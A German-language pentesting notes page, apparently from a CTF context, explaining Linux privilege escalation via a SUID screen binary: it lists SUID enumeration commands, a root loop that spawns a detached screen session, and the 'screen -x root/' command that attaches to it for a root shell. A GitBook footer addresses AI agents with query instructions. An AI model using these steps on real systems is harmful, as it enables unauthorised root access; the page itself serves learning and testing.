> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/privesc/suid/suid-screen-linux-privilege-escalation.md).

# SUID screen - Linux-Privilegieneskalation

## Was es ist

SUID-Binaries werden mit den Rechten ihres Besitzers ausgeführt, oft root. Ein verwundbares, veraltetes oder zu flexibles SUID-Binary kann geschützte Dateien lesen, eine privilegierte Shell starten oder vom Angreifer kontrollierten Code ausführen. Diese spezielle Seite konzentriert sich auf **SUID (Bildschirm)** und hält den Ausnutzungsablauf praxisnah: Bedingung identifizieren, sicher validieren und dann die kleinste nötige Nutzlast ausführen, um die Auswirkungen zu belegen.

## Enumeration

Beginnen Sie damit, den lokalen Kontext und die genaue Fehlkonfiguration zu bestätigen, bevor Sie den Exploit-Pfad ausführen.

```bash
find / -perm -4000 -type f 2>/dev/null
```

## Beispiele

#### Identifizierung der SUID-Binärdatei

Wir suchen mit dem folgenden Befehl nach Dateien auf dem System, bei denen das SUID-Bit aktiviert ist:

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="/files/53e9438055ceb864eadee4cb91d8abdfe54de5e2" alt=""><figcaption></figcaption></figure>

#### Analyse des Screen-Prozesses

Um die laufenden, mit Screen verbundenen Prozesse zu überprüfen, verwenden wir den folgenden Befehl:

```bash
ps -aux | grep "screen"
```

<div data-full-width="true"><figure><img src="/files/1b68de23cf8cbf4c1ea68006320caa97428c24c4" alt=""><figcaption></figcaption></figure></div>

Wir finden den folgenden laufenden Prozess:

{% code overflow="wrap" %}

```bash
/bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root /;; done
```

{% endcode %}

Der obige Prozess zeigt, dass Screen so konfiguriert ist, dass eine Root-Sitzung erstellt wird, wenn das `/var/run/screen/S-root/` Verzeichnis leer ist. Mit dieser Konfiguration können wir Screen verwenden, um Root-Zugriff zu erhalten.

```bash
screen -x root/
```

### Flag root.txt :)

Nachdem Sie als root auf Screen zugegriffen haben, verfügen Sie nun über Administratorrechte.

<figure><img src="/files/e05d9fc5e29f968f92b633973543abe2e6648274" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/privesc/suid/suid-screen-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
